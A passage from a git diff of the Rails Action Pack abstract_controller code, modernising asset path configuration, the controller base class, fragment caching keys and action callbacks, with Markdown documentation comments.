+      unless controller.abstract?
+        controller.eager_load!
+      end
+    end
   end
 end
diff --git a/actionpack/lib/abstract_controller/asset_paths.rb b/actionpack/lib/abstract_controller/asset_paths.rb
index e6170228d9ce5..44e30fb917bba 100644
--- a/actionpack/lib/abstract_controller/asset_paths.rb
+++ b/actionpack/lib/abstract_controller/asset_paths.rb
@@ -1,10 +1,16 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module AbstractController
-  module AssetPaths #:nodoc:
+  module AssetPaths # :nodoc:
     extend ActiveSupport::Concern
 
     included do
-      config_accessor :asset_host, :assets_dir, :javascripts_dir,
-        :stylesheets_dir, :default_asset_host_protocol, :relative_url_root
+      singleton_class.delegate :asset_host, :asset_host=, :assets_dir, :assets_dir=, :javascripts_dir, :javascripts_dir=,
+        :stylesheets_dir, :stylesheets_dir=, :default_asset_host_protocol, :default_asset_host_protocol=, :relative_url_root, :relative_url_root=, to: :config
+      delegate :asset_host, :asset_host=, :assets_dir, :assets_dir=, :javascripts_dir, :javascripts_dir=,
+        :stylesheets_dir, :stylesheets_dir=, :default_asset_host_protocol, :default_asset_host_protocol=, :relative_url_root, :relative_url_root=, to: :config
     end
   end
 end
diff --git a/actionpack/lib/abstract_controller/base.rb b/actionpack/lib/abstract_controller/base.rb
index e7cb6347a2d28..622cafa939bdf 100644
--- a/actionpack/lib/abstract_controller/base.rb
+++ b/actionpack/lib/abstract_controller/base.rb
@@ -1,5 +1,8 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "abstract_controller/error"
-require "active_support/configurable"
 require "active_support/descendants_tracker"
 require "active_support/core_ext/module/anonymous"
 require "active_support/core_ext/module/attr_internal"
@@ -7,92 +10,117 @@
 module AbstractController
   # Raised when a non-existing controller action is triggered.
   class ActionNotFound < StandardError
+    attr_reader :controller, :action # :nodoc:
+
+    def initialize(message = nil, controller = nil, action = nil) # :nodoc:
+      @controller = controller
+      @action = action
+      super(message)
+    end
+
+    if defined?(DidYouMean::Correctable) && defined?(DidYouMean::SpellChecker)
+      include DidYouMean::Correctable # :nodoc:
+
+      def corrections # :nodoc:
+        @corrections ||= DidYouMean::SpellChecker.new(dictionary: controller.class.action_methods).correct(action)
+      end
+    end
   end
 
-  # AbstractController::Base is a low-level API. Nobody should be
-  # using it directly, and subclasses (like ActionController::Base) are
-  # expected to provide their own +render+ method, since rendering means
-  # different things depending on the context.
+  # # Abstract Controller Base
+  #
+  # AbstractController::Base is a low-level API. Nobody should be using it
+  # directly, and subclasses (like ActionController::Base) are expected to provide
+  # their own `render` method, since rendering means different things depending on
+  # the context.
   class Base
+    ##
+    # Returns the body of the HTTP response sent by the controller.
     attr_internal :response_body
+
+    ##
+    # Returns the name of the action this controller is processing.
     attr_internal :action_name
+
+    ##
+    # Returns the formats that can be processed by the controller.
     attr_internal :formats
 
-    include ActiveSupport::Configurable
+    class_attribute :config, instance_predicate: false, default: ActiveSupport::OrderedOptions.new
     extend ActiveSupport::DescendantsTracker
 
     class << self
       attr_reader :abstract
       alias_method :abstract?, :abstract
 
-      # Define a controller as abstract. See internal_methods for more
-      # details.
+      # Define a controller as abstract. See internal_methods for more details.
       def abstract!
         @abstract = true
       end
 
       def inherited(klass) # :nodoc:
-        # Define the abstract ivar on subclasses so that we don't get
-        # uninitialized ivar warnings
+        # Define the abstract ivar on subclasses so that we don't get uninitialized ivar
+        # warnings
         unless klass.instance_variable_defined?(:@abstract)
           klass.instance_variable_set(:@abstract, false)
         end
+        klass.config = ActiveSupport::InheritableOptions.new(config)
         super
       end
 
-      # A list of all internal methods for a controller. This finds the first
-      # abstract superclass of a controller, and gets a list of all public
-      # instance methods on that abstract class. Public instance methods of
-      # a controller would normally be considered action methods, so methods
-      # declared on abstract classes are being removed.
-      # (<tt>ActionController::Metal</tt> and ActionController::Base are defined as abstract)
+      # A list of all internal methods for a controller. This finds the first abstract
+      # superclass of a controller, and gets a list of all public instance methods on
+      # that abstract class. Public instance methods of a controller would normally be
+      # considered action methods, so methods declared on abstract classes are being
+      # removed. (ActionController::Metal and ActionController::Base are defined as
+      # abstract)
       def internal_methods
         controller = self
+        methods = []
+
+        until controller.abstract?
+          methods += controller.public_instance_methods(false)
+          controller = controller.superclass
+        end
 
-        controller = controller.superclass until controller.abstract?
-        controller.public_instance_methods(true)
+        controller.public_instance_methods(true) - methods
       end
 
-      # A list of method names that should be considered actions. This
-      # includes all public instance methods on a controller, less
-      # any internal methods (see internal_methods), adding back in
-      # any methods that are internal, but still exist on the class
-      # itself.
-      #
-      # ==== Returns
-      # * <tt>Set</tt> - A set of all methods that should be considered actions.
+      # A `Set` of method names that should be considered actions. This includes all
+      # public instance methods on a controller, less any internal methods (see
+      # internal_methods), adding back in any methods that are internal, but still
+      # exist on the class itself.
       def action_methods
         @action_methods ||= begin
-          # All public instance methods of this class, including ancestors
-          methods = (public_instance_methods(true) -
-            # Except for public instance methods of Base and its ancestors
-            internal_methods +
-            # Be sure to include shadowed public instance methods of this class
-            public_instance_methods(false)).uniq.map(&:to_s)
-
+          # All public instance methods of this class, including ancestors except for
+          # public instance methods of Base and its ancestors.
+          methods = public_instance_methods(true) - internal_methods
+          methods.map!(&:name)
           methods.to_set
         end
       end
 
-      # action_methods are cached and there is sometimes a need to refresh
-      # them. ::clear_action_methods! allows you to do that, so next time
-      # you run action_methods, they will be recalculated.
+      # action_methods are cached and there is sometimes a need to refresh them.
+      # ::clear_action_methods! allows you to do that, so next time you run
+      # action_methods, they will be recalculated.
       def clear_action_methods!
         @action_methods = nil
       end
 
       # Returns the full controller name, underscored, without the ending Controller.
       #
-      #   class MyApp::MyPostsController < AbstractController::Base
+      #     class MyApp::MyPostsController < AbstractController::Base
       #
-      #   end
+      #     end
       #
-      #   MyApp::MyPostsController.controller_path # => "my_app/my_posts"
+      #     MyApp::MyPostsController.controller_path # => "my_app/my_posts"
       #
-      # ==== Returns
-      # * <tt>String</tt>
       def controller_path
-        @controller_path ||= name.sub(/Controller$/, "".freeze).underscore unless anonymous?
+        @controller_path ||= name.delete_suffix("Controller").underscore unless anonymous?
+      end
+
+      def configure # :nodoc:
+        yield config
       end
 
       # Refresh the cached action_methods when a new action_method is added.
@@ -100,147 +128,156 @@ def method_added(name)
         super
         clear_action_methods!
       end
+
+      def eager_load! # :nodoc:
+        action_methods
+        nil
+      end
     end
 
     abstract!
 
-    # Calls the action going through the entire action dispatch stack.
-    #
-    # The actual method that is called is determined by calling
-    # #method_for_action. If no method can handle the action, then an
-    # AbstractController::ActionNotFound error is raised.
+    # Calls the action going through the entire Action Dispatch stack.
     #
-    # ==== Returns
-    # * <tt>self</tt>
-    def process(action, *args)
+    # The actual method that is called is determined by calling #method_for_action.
+    # If no method can handle the action, then an AbstractController::ActionNotFound
+    # error is raised.
+    def process(action, ...)
       @_action_name = action.to_s
 
       unless action_name = _find_action_name(@_action_name)
-        raise ActionNotFound, "The action '#{action}' could not be found for #{self.class.name}"
+        raise ActionNotFound.new("The action '#{action}' could not be found for #{self.class.name}", self, action)
       end
 
       @_response_body = nil
 
-      process_action(action_name, *args)
+      process_action(action_name, ...)
     end
 
-    # Delegates to the class' ::controller_path
+    # Delegates to the class's ::controller_path.
     def controller_path
       self.class.controller_path
     end
 
-    # Delegates to the class' ::action_methods
+    # Delegates to the class's ::action_methods.
     def action_methods
       self.class.action_methods
     end
 
-    # Returns true if a method for the action is available and
-    # can be dispatched, false otherwise.
+    # Returns true if a method for the action is available and can be dispatched,
+    # false otherwise.
     #
-    # Notice that <tt>action_methods.include?("foo")</tt> may return
-    # false and <tt>available_action?("foo")</tt> returns true because
-    # this method considers actions that are also available
-    # through other means, for example, implicit render ones.
+    # Notice that `action_methods.include?("foo")` may return false and
+    # `available_action?("foo")` returns true because this method considers actions
+    # that are also available through other means, for example, implicit render
+    # ones.
+    #
+    # #### Parameters
+    # *   `action_name` - The name of an action to be tested
     #
-    # ==== Parameters
-    # * <tt>action_name</tt> - The name of an action to be tested
     def available_action?(action_name)
       _find_action_name(action_name)
     end
 
-    # Tests if a response body is set. Used to determine if the
-    # +process_action+ callback needs to be terminated in
-    # +AbstractController::Callbacks+.
+    # Tests if a response body is set. Used to determine if the `process_action`
+    # callback needs to be terminated in AbstractController::Callbacks.
     def performed?
       response_body
     end
 
-    # Returns true if the given controller is capable of rendering
-    # a path. A subclass of +AbstractController::Base+
-    # may return false. An Email controller for example does not
-    # support paths, only full URLs.
+    # Returns true if the given controller is capable of rendering a path. A
+    # subclass of `AbstractController::Base` may return false. An Email controller
+    # for example does not support paths, only full URLs.
     def self.supports_path?
       true
     end
 
-    private
+    def config # :nodoc:
+      @_config ||= self.class.config.inheritable_copy
+    end
 
-      # Returns true if the name can be considered an action because
-      # it has a method defined in the controller.
+    def inspect # :nodoc:
+      "#<#{self.class.name}:#{'%#016x' % (object_id << 1)}>"
+    end
+
+    private
+      # Returns true if the name can be considered an action because it has a method
+      # defined in the controller.
       #
-      # ==== Parameters
-      # * <tt>name</tt> - The name of an action to be tested
+      # #### Parameters
+      # *   `name` - The name of an action to be tested
       #
-      # :api: private
       def action_method?(name)
         self.class.action_methods.include?(name)
       end
 
-      # Call the action. Override this in a subclass to modify the
-      # behavior around processing an action. This, and not #process,
-      # is the intended way to override action dispatching.
+      # Call the action. Override this in a subclass to modify the behavior around
+      # processing an action. This, and not #process, is the intended way to override
+      # action dispatching.
       #
-      # Notice that the first argument is the method to be dispatched
-      # which is *not* necessarily the same as the action name.
-      def process_action(method_name, *args)
-        send_action(method_name, *args)
+      # Notice that the first argument is the method to be dispatched which is **not**
+      # necessarily the same as the action name.
+      def process_action(...)
+        send_action(...)
       end
 
-      # Actually call the method associated with the action. Override
-      # this method if you wish to change how action methods are called,
-      # not to add additional behavior around it. For example, you would
-      # override #send_action if you want to inject arguments into the
-      # method.
+      # Actually call the method associated with the action. Override this method if
+      # you wish to change how action methods are called, not to add additional
+      # behavior around it. For example, you would override #send_action if you want
+      # to inject arguments into the method.
       alias send_action send
 
-      # If the action name was not found, but a method called "action_missing"
-      # was found, #method_for_action will return "_handle_action_missing".
-      # This method calls #action_missing with the current action name.
+      # If the action name was not found, but a method called "action_missing" was
+      # found, #method_for_action will return "_handle_action_missing". This method
+      # calls #action_missing with the current action name.
       def _handle_action_missing(*args)
         action_missing(@_action_name, *args)
       end
 
-      # Takes an action name and returns the name of the method that will
-      # handle the action.
+      # Takes an action name and returns the name of the method that will handle the
+      # action.
       #
       # It checks if the action name is valid and returns false otherwise.
       #
       # See method_for_action for more information.
       #
-      # ==== Parameters
-      # * <tt>action_name</tt> - An action name to find a method name for
+      # #### Parameters
+      # *   `action_name` - An action name to find a method name for
+      #
       #
-      # ==== Returns
-      # * <tt>string</tt> - The name of the method that handles the action
-      # * false           - No valid method name could be found.
-      # Raise +AbstractController::ActionNotFound+.
+      # #### Returns
+      # *   `string` - The name of the method that handles the action
+      # *   false           - No valid method name could be found.
+      #
+      # Raise `AbstractController::ActionNotFound`.
       def _find_action_name(action_name)
         _valid_action_name?(action_name) && method_for_action(action_name)
       end
 
-      # Takes an action name and returns the name of the method that will
-      # handle the action. In normal cases, this method returns the same
-      # name as it receives. By default, if #method_for_action receives
-      # a name that is not an action, it will look for an #action_missing
-      # method and return "_handle_action_missing" if one is found.
+      # Takes an action name and returns the name of the method that will handle the
+      # action. In normal cases, this method returns the same name as it receives. By
+      # default, if #method_for_action receives a name that is not an action, it will
+      # look for an #action_missing method and return "_handle_action_missing" if one
+      # is found.
+      #
+      # Subclasses may override this method to add additional conditions that should
+      # be considered an action. For instance, an HTTP controller with a template
+      # matching the action name is considered to exist.
+      #
+      # If you override this method to handle additional cases, you may also provide a
+      # method (like `_handle_method_missing`) to handle the case.
       #
-      # Subclasses may override this method to add additional conditions
-      # that should be considered an action. For instance, an HTTP controller
-      # with a template matching the action name is considered to exist.
+      # If none of these conditions are true, and `method_for_action` returns `nil`,
+      # an `AbstractController::ActionNotFound` exception will be raised.
       #
-      # If you override this method to handle additional cases, you may
-      # also provide a method (like +_handle_method_missing+) to handle
-      # the case.
+      # #### Parameters
+      # *   `action_name` - An action name to find a method name for
       #
-      # If none of these conditions are true, and +method_for_action+
-      # returns +nil+, an +AbstractController::ActionNotFound+ exception will be raised.
       #
-      # ==== Parameters
-      # * <tt>action_name</tt> - An action name to find a method name for
+      # #### Returns
+      # *   `string` - The name of the method that handles the action
+      # *   `nil`    - No method name could be found.
       #
-      # ==== Returns
-      # * <tt>string</tt> - The name of the method that handles the action
-      # * <tt>nil</tt>    - No method name could be found.
       def method_for_action(action_name)
         if action_method?(action_name)
           action_name
diff --git a/actionpack/lib/abstract_controller/caching.rb b/actionpack/lib/abstract_controller/caching.rb
index 26e3f08bc1d33..2b976395fede0 100644
--- a/actionpack/lib/abstract_controller/caching.rb
+++ b/actionpack/lib/abstract_controller/caching.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module AbstractController
   module Caching
     extend ActiveSupport::Concern
@@ -13,7 +17,7 @@ def cache_store
       end
 
       def cache_store=(store)
-        config.cache_store = ActiveSupport::Cache.lookup_store(store)
+        config.cache_store = ActiveSupport::Cache.lookup_store(*store)
       end
 
       private
@@ -28,17 +32,19 @@ def cache_configured?
     included do
       extend ConfigMethods
 
-      config_accessor :default_static_extension
+      singleton_class.delegate :default_static_extension, :default_static_extension=, to: :config
+      delegate :default_static_extension, :default_static_extension=, to: :config
       self.default_static_extension ||= ".html"
 
-      config_accessor :perform_caching
+      singleton_class.delegate :perform_caching, :perform_caching=, to: :config
+      delegate :perform_caching, :perform_caching=, to: :config
       self.perform_caching = true if perform_caching.nil?
 
-      config_accessor :enable_fragment_cache_logging
+      singleton_class.delegate :enable_fragment_cache_logging, :enable_fragment_cache_logging=, to: :config
+      delegate :enable_fragment_cache_logging, :enable_fragment_cache_logging=, to: :config
       self.enable_fragment_cache_logging = false
 
-      class_attribute :_view_cache_dependencies
-      self._view_cache_dependencies = []
+      class_attribute :_view_cache_dependencies, default: []
       helper_method :view_cache_dependencies if respond_to?(:helper_method)
     end
 
@@ -49,7 +55,7 @@ def view_cache_dependency(&dependency)
     end
 
     def view_cache_dependencies
-      self.class._view_cache_dependencies.map { |dep| instance_exec(&dep) }.compact
+      self.class._view_cache_dependencies.filter_map { |dep| instance_exec(&dep) }
     end
 
     private
diff --git a/actionpack/lib/abstract_controller/caching/fragments.rb b/actionpack/lib/abstract_controller/caching/fragments.rb
index 13fa2b393d401..8998e204aa6a5 100644
--- a/actionpack/lib/abstract_controller/caching/fragments.rb
+++ b/actionpack/lib/abstract_controller/caching/fragments.rb
@@ -1,18 +1,23 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module AbstractController
   module Caching
-    # Fragment caching is used for caching various blocks within
-    # views without caching the entire action as a whole. This is
-    # useful when certain elements of an action change frequently or
-    # depend on complicated state while other parts rarely change or
-    # can be shared amongst multiple parties. The caching is done using
-    # the +cache+ helper available in the Action View. See
+    # # Abstract Controller Caching Fragments
+    #
+    # Fragment caching is used for caching various blocks within views without
+    # caching the entire action as a whole. This is useful when certain elements of
+    # an action change frequently or depend on complicated state while other parts
+    # rarely change or can be shared amongst multiple parties. The caching is done
+    # using the `cache` helper available in the Action View. See
     # ActionView::Helpers::CacheHelper for more information.
     #
-    # While it's strongly recommended that you use key-based cache
-    # expiration (see links in CacheHelper for more information),
-    # it is also possible to manually expire caches. For example:
+    # While it's strongly recommended that you use key-based cache expiration (see
+    # links in CacheHelper for more information), it is also possible to manually
+    # expire caches. For example:
     #
-    #   expire_fragment('name_of_cache')
+    #     expire_fragment('name_of_cache')
     module Fragments
       extend ActiveSupport::Concern
 
@@ -25,54 +30,57 @@ module Fragments
 
         self.fragment_cache_keys = []
 
-        helper_method :fragment_cache_key if respond_to?(:helper_method)
+        if respond_to?(:helper_method)
+          helper_method :combined_fragment_cache_key
+        end
       end
 
       module ClassMethods
-        # Allows you to specify controller-wide key prefixes for
-        # cache fragments. Pass either a constant +value+, or a block
-        # which computes a value each time a cache key is generated.
+        # Allows you to specify controller-wide key prefixes for cache fragments. Pass
+        # either a constant `value`, or a block which computes a value each time a cache
+        # key is generated.
         #
-        # For example, you may want to prefix all fragment cache keys
-        # with a global version identifier, so you can easily
-        # invalidate all caches.
+        # For example, you may want to prefix all fragment cache keys with a global
+        # version identifier, so you can easily invalidate all caches.
         #
-        #   class ApplicationController
-        #     fragment_cache_key "v1"
-        #   end
+        #     class ApplicationController
+        #       fragment_cache_key "v1"
+        #     end
         #
-        # When it's time to invalidate all fragments, simply change
-        # the string constant. Or, progressively roll out the cache
-        # invalidation using a computed value:
+        # When it's time to invalidate all fragments, simply change the string constant.
+        # Or, progressively roll out the cache invalidation using a computed value:
         #
-        #   class ApplicationController
-        #     fragment_cache_key do
-        #       @account.id.odd? ? "v1" : "v2"
+        #     class ApplicationController
+        #       fragment_cache_key do
+        #         @account.id.odd? ? "v1" : "v2"
+        #       end
         #     end
-        #   end
         def fragment_cache_key(value = nil, &key)
           self.fragment_cache_keys += [key || -> { value }]
         end
       end
 
-      # Given a key (as described in +expire_fragment+), returns
-      # a key suitable for use in reading, writing, or expiring a
-      # cached fragment. All keys begin with <tt>views/</tt>,
-      # followed by any controller-wide key prefix values, ending
-      # with the specified +key+ value. The key is expanded using
-      # ActiveSupport::Cache.expand_cache_key.
-      def fragment_cache_key(key)
+      # Given a key (as described in `expire_fragment`), returns a key array suitable
+      # for use in reading, writing, or expiring a cached fragment. All keys begin
+      # with `:views`, followed by `ENV["RAILS_CACHE_ID"]` or
+      # `ENV["RAILS_APP_VERSION"]` if set, followed by any controller-wide key prefix
+      # values, ending with the specified `key` value.
+      def combined_fragment_cache_key(key)
         head = self.class.fragment_cache_keys.map { |k| instance_exec(&k) }
         tail = key.is_a?(Hash) ? url_for(key).split("://").last : key
-        ActiveSupport::Cache.expand_cache_key([*head, *tail], :views)
+
+        cache_key = [:views, ENV["RAILS_CACHE_ID"] || ENV["RAILS_APP_VERSION"], head, tail]
+        cache_key.flatten!(1)
+        cache_key.compact!
+        cache_key
       end
 
-      # Writes +content+ to the location signified by
-      # +key+ (see +expire_fragment+ for acceptable formats).
+      # Writes `content` to the location signified by `key` (see `expire_fragment` for
+      # acceptable formats).
       def write_fragment(key, content, options = nil)
         return content unless cache_configured?
 
-        key = fragment_cache_key(key)
+        key = combined_fragment_cache_key(key)
         instrument_fragment_cache :write_fragment, key do
           content = content.to_str
           cache_store.write(key, content, options)
@@ -80,23 +88,23 @@ def write_fragment(key, content, options = nil)
         content
       end
 
-      # Reads a cached fragment from the location signified by +key+
-      # (see +expire_fragment+ for acceptable formats).
+      # Reads a cached fragment from the location signified by `key` (see
+      # `expire_fragment` for acceptable formats).
       def read_fragment(key, options = nil)
         return unless cache_configured?
 
-        key = fragment_cache_key(key)
+        key = combined_fragment_cache_key(key)
         instrument_fragment_cache :read_fragment, key do
           result = cache_store.read(key, options)
           result.respond_to?(:html_safe) ? result.html_safe : result
         end
       end
 
-      # Check if a cached fragment from the location signified by
-      # +key+ exists (see +expire_fragment+ for acceptable formats).
+      # Check if a cached fragment from the location signified by `key` exists (see
+      # `expire_fragment` for acceptable formats).
       def fragment_exist?(key, options = nil)
         return unless cache_configured?
-        key = fragment_cache_key(key)
+        key = combined_fragment_cache_key(key)
 
         instrument_fragment_cache :exist_fragment?, key do
           cache_store.exist?(key, options)
@@ -105,25 +113,24 @@ def fragment_exist?(key, options = nil)
 
       # Removes fragments from the cache.
       #
-      # +key+ can take one of three forms:
+      # `key` can take one of three forms:
+      #
+      # *   String - This would normally take the form of a path, like
+      #     `pages/45/notes`.
+      # *   Hash - Treated as an implicit call to `url_for`, like `{ controller:
+      #     'pages', action: 'notes', id: 45}`
+      # *   Regexp - Will remove any fragment that matches, so `%r{pages/\d*/notes}`
+      #     might remove all notes. Make sure you don't use anchors in the regex (`^`
+      #     or `$`) because the actual filename matched looks like
+      #     `./cache/filename/path.cache`. Note: Regexp expiration is only supported
+      #     on caches that can iterate over all keys (unlike memcached).
       #
-      # * String - This would normally take the form of a path, like
-      #   <tt>pages/45/notes</tt>.
-      # * Hash - Treated as an implicit call to +url_for+, like
-      #   <tt>{ controller: 'pages', action: 'notes', id: 45}</tt>
-      # * Regexp - Will remove any fragment that matches, so
-      #   <tt>%r{pages/\d*/notes}</tt> might remove all notes. Make sure you
-      #   don't use anchors in the regex (<tt>^</tt> or <tt>$</tt>) because
-      #   the actual filename matched looks like
-      #   <tt>./cache/filename/path.cache</tt>. Note: Regexp expiration is
-      #   only supported on caches that can iterate over all keys (unlike
-      #   memcached).
       #
-      # +options+ is passed through to the cache store's +delete+
-      # method (or <tt>delete_matched</tt>, for Regexp keys).
+      # `options` is passed through to the cache store's `delete` method (or
+      # `delete_matched`, for Regexp keys).
       def expire_fragment(key, options = nil)
         return unless cache_configured?
-        key = fragment_cache_key(key) unless key.is_a?(Regexp)
+        key = combined_fragment_cache_key(key) unless key.is_a?(Regexp)
 
         instrument_fragment_cache :expire_fragment, key do
           if key.is_a?(Regexp)
@@ -134,9 +141,8 @@ def expire_fragment(key, options = nil)
         end
       end
 
-      def instrument_fragment_cache(name, key) # :nodoc:
-        payload = instrument_payload(key)
-        ActiveSupport::Notifications.instrument("#{name}.#{instrument_name}".freeze, payload) { yield }
+      def instrument_fragment_cache(name, key, &block) # :nodoc:
+        ActiveSupport::Notifications.instrument("#{name}.#{instrument_name}", instrument_payload(key), &block)
       end
     end
   end
diff --git a/actionpack/lib/abstract_controller/callbacks.rb b/actionpack/lib/abstract_controller/callbacks.rb
index ce4ecf17ccb05..31bbb1b5ce9cd 100644
--- a/actionpack/lib/abstract_controller/callbacks.rb
+++ b/actionpack/lib/abstract_controller/callbacks.rb
@@ -1,75 +1,130 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module AbstractController
+  # # Abstract Controller Callbacks
+  #
+  # Abstract Controller provides hooks during the life cycle of a controller
+  # action. Callbacks allow you to trigger logic during this cycle. Available
+  # callbacks are:
+  #
+  # *   `after_action`
+  # *   `append_after_action`
+  # *   `append_around_action`
+  # *   `append_before_action`
+  # *   `around_action`
+  # *   `before_action`
+  # *   `prepend_after_action`
+  # *   `prepend_around_action`
+  # *   `prepend_before_action`
+  # *   `skip_after_action`
+  # *   `skip_around_action`
+  # *   `skip_before_action`
   module Callbacks
     extend ActiveSupport::Concern
 
-    # Uses ActiveSupport::Callbacks as the base functionality. For
-    # more details on the whole callback system, read the documentation
-    # for ActiveSupport::Callbacks.
+    # Uses ActiveSupport::Callbacks as the base functionality. For more details on
+    # the whole callback system, read the documentation for
+    # ActiveSupport::Callbacks.
     include ActiveSupport::Callbacks
 
+    DEFAULT_INTERNAL_METHODS = [:_run_process_action_callbacks].freeze # :nodoc:
+
     included do
       define_callbacks :process_action,
-                       terminator: ->(controller, result_lambda) { result_lambda.call if result_lambda.is_a?(Proc); controller.performed? },
+                       terminator: ->(controller, result_lambda) { result_lambda.call; controller.performed? },
                        skip_after_callbacks_if_terminated: true
+      mattr_accessor :raise_on_missing_callback_actions, default: false
     end
 
-    # Override AbstractController::Base's process_action to run the
-    # process_action callbacks around the normal behavior.
-    def process_action(*args)
-      run_callbacks(:process_action) do
-        super
+    class ActionFilter # :nodoc:
+      def initialize(filters, conditional_key, actions)
+        @filters = filters.to_a
+        @conditional_key = conditional_key
+        @actions = Array(actions).map(&:to_s).to_set
       end
+
+      def match?(controller)
+        if controller.raise_on_missing_callback_actions
+          missing_action = @actions.find { |action| !controller.available_action?(action) }
+          if missing_action
+            filter_names = @filters.length == 1 ? @filters.first.inspect : @filters.inspect
+
+            message = <<~MSG
+              The #{missing_action} action could not be found for the #{filter_names}
+              callback on #{controller.class.name}, but it is listed in the controller's
+              #{@conditional_key.inspect} option.
+
+              Raising for missing callback actions is a new default in Rails 7.1, if you'd
+              like to turn this off you can delete the option from the environment configurations
+              or set `config.action_controller.raise_on_missing_callback_actions` to `false`.
+            MSG
+
+            raise ActionNotFound.new(message, controller, missing_action)
+          end
+        end
+
+        @actions.include?(controller.action_name)
+      end
+
+      alias after  match?
+      alias before match?
+      alias around match?
     end
 
     module ClassMethods
-      # If +:only+ or +:except+ are used, convert the options into the
-      # +:if+ and +:unless+ options of ActiveSupport::Callbacks.
+      # If `:only` or `:except` are used, convert the options into the `:if` and
+      # `:unless` options of ActiveSupport::Callbacks.
+      #
+      # The basic idea is that `:only => :index` gets converted to `:if => proc {|c|
+      # c.action_name == "index" }`.
       #
-      # The basic idea is that <tt>:only => :index</tt> gets converted to
-      # <tt>:if => proc {|c| c.action_name == "index" }</tt>.
+      # Note that `:only` has priority over `:if` in case they are used together.
       #
-      # Note that <tt>:only</tt> has priority over <tt>:if</tt> in case they
-      # are used together.
+      #     only: :index, if: -> { true } # the :if option will be ignored.
       #
-      #   only: :index, if: -> { true } # the :if option will be ignored.
+      # Note that `:if` has priority over `:except` in case they are used together.
       #
-      # Note that <tt>:if</tt> has priority over <tt>:except</tt> in case they
-      # are used together.
+      #     except: :index, if: -> { true } # the :except option will be ignored.
       #
-      #   except: :index, if: -> { true } # the :except option will be ignored.
+      # #### Options
+      # *   `only`   - The callback should be run only for this action.
+      # *   `except`  - The callback should be run for all actions except this action.
       #
-      # ==== Options
-      # * <tt>only</tt>   - The callback should be run only for this action.
-      # * <tt>except</tt>  - The callback should be run for all actions except this action.
       def _normalize_callback_options(options)
         _normalize_callback_option(options, :only, :if)
         _normalize_callback_option(options, :except, :unless)
       end
 
       def _normalize_callback_option(options, from, to) # :nodoc:
-        if from = options[from]
-          _from = Array(from).map(&:to_s).to_set
-          from = proc { |c| _from.include? c.action_name }
-          options[to] = Array(options[to]).unshift(from)
+        if from_value = options.delete(from)
+          filters = options[:filters]
+          from_value = ActionFilter.new(filters, from, from_value)
+          options[to] = Array(options[to]).unshift(from_value)
         end
       end
 
-      # Take callback names and an optional callback proc, normalize them,
-      # then call the block with each callback. This allows us to abstract
-      # the normalization across several methods that use it.
+      # Take callback names and an optional callback proc, normalize them, then call
+      # the block with each callback. This allows us to abstract the normalization
+      # across several methods that use it.
       #
-      # ==== Parameters
-      # * <tt>callbacks</tt> - An array of callbacks, with an optional
-      #   options hash as the last parameter.
-      # * <tt>block</tt>    - A proc that should be added to the callbacks.
+      # #### Parameters
+      # *   `callbacks` - An array of callbacks, with an optional options hash as the
+      #     last parameter.
+      # *   `block`    - A proc that should be added to the callbacks.
+      #
+      #
+      # #### Block Parameters
+      # *   `name`     - The callback to be added.
+      # *   `options`  - A hash of options to be used when adding the callback.
       #
-      # ==== Block Parameters
-      # * <tt>name</tt>     - The callback to be added.
-      # * <tt>options</tt>  - A hash of options to be used when adding the callback.
       def _insert_callbacks(callbacks, block = nil)
         options = callbacks.extract_options!
-        _normalize_callback_options(options)
         callbacks.push(block) if block
+        options[:filters] = callbacks
+        _normalize_callback_options(options)
+        options.delete(:filters)
         callbacks.each do |callback|
           yield callback, options
         end
@@ -81,13 +136,22 @@ def _insert_callbacks(callbacks, block = nil)
       # :call-seq: before_action(names, block)
       #
       # Append a callback before actions. See _insert_callbacks for parameter details.
+      #
+      # If the callback renders or redirects, the action will not run. If there are
+      # additional callbacks scheduled to run after that callback, they are also
+      # cancelled.
 
       ##
       # :method: prepend_before_action
       #
       # :call-seq: prepend_before_action(names, block)
       #
-      # Prepend a callback before actions. See _insert_callbacks for parameter details.
+      # Prepend a callback before actions. See _insert_callbacks for parameter
+      # details.
+      #
+      # If the callback renders or redirects, the action will not run. If there are
+      # additional callbacks scheduled to run after that callback, they are also
+      # cancelled.
 
       ##
       # :method: skip_before_action
@@ -102,6 +166,10 @@ def _insert_callbacks(callbacks, block = nil)
       # :call-seq: append_before_action(names, block)
       #
       # Append a callback before actions. See _insert_callbacks for parameter details.
+      #
+      # If the callback renders or redirects, the action will not run. If there are
+      # additional callbacks scheduled to run after that callback, they are also
+      # cancelled.
 
       ##
       # :method: after_action
@@ -143,7 +211,8 @@ def _insert_callbacks(callbacks, block = nil)
       #
       # :call-seq: prepend_around_action(names, block)
       #
-      # Prepend a callback around actions. See _insert_callbacks for parameter details.
+      # Prepend a callback around actions. See _insert_callbacks for parameter
+      # details.
 
       ##
       # :method: skip_around_action
@@ -158,9 +227,8 @@ def _insert_callbacks(callbacks, block = nil)
       # :call-seq: append_around_action(names, block)
       #
       # Append a callback around actions. See _insert_callbacks for parameter details.
-
-      # set up before_action, prepend_before_action, skip_before_action, etc.
-      # for each of before, after, and around.
+      # set up before_action, prepend_before_action, skip_before_action, etc. for each
+      # of before, after, and around.
       [:before, :after, :around].each do |callback|
         define_method "#{callback}_action" do |*names, &blk|
           _insert_callbacks(names, blk) do |name, options|
@@ -174,8 +242,8 @@ def _insert_callbacks(callbacks, block = nil)
           end
         end
 
-        # Skip a before, after or around callback. See _insert_callbacks
-        # for details on the allowed parameters.
+        # Skip a before, after or around callback. See _insert_callbacks for details on
+        # the allowed parameters.
         define_method "skip_#{callback}_action" do |*names|
           _insert_callbacks(names) do |name, options|
             skip_callback(:process_action, callback, name, options)
@@ -185,6 +253,19 @@ def _insert_callbacks(callbacks, block = nil)
         # *_action is the same as append_*_action
         alias_method :"append_#{callback}_action", :"#{callback}_action"
       end
+
+      def internal_methods # :nodoc:
+        super.concat(DEFAULT_INTERNAL_METHODS)
+      end
     end
+
+    private
+      # Override `AbstractController::Base#process_action` to run the `process_action`
+      # callbacks around the normal behavior.
+      def process_action(...)
+        run_callbacks(:process_action) do
+          super
+        end
+      end
   end
 end
diff --git a/actionpack/lib/abstract_controller/collector.rb b/actionpack/lib/abstract_controller/collector.rb
index 40ae5aa1cadac..d9f41d4ef4879 100644
--- a/actionpack/lib/abstract_controller/collector.rb
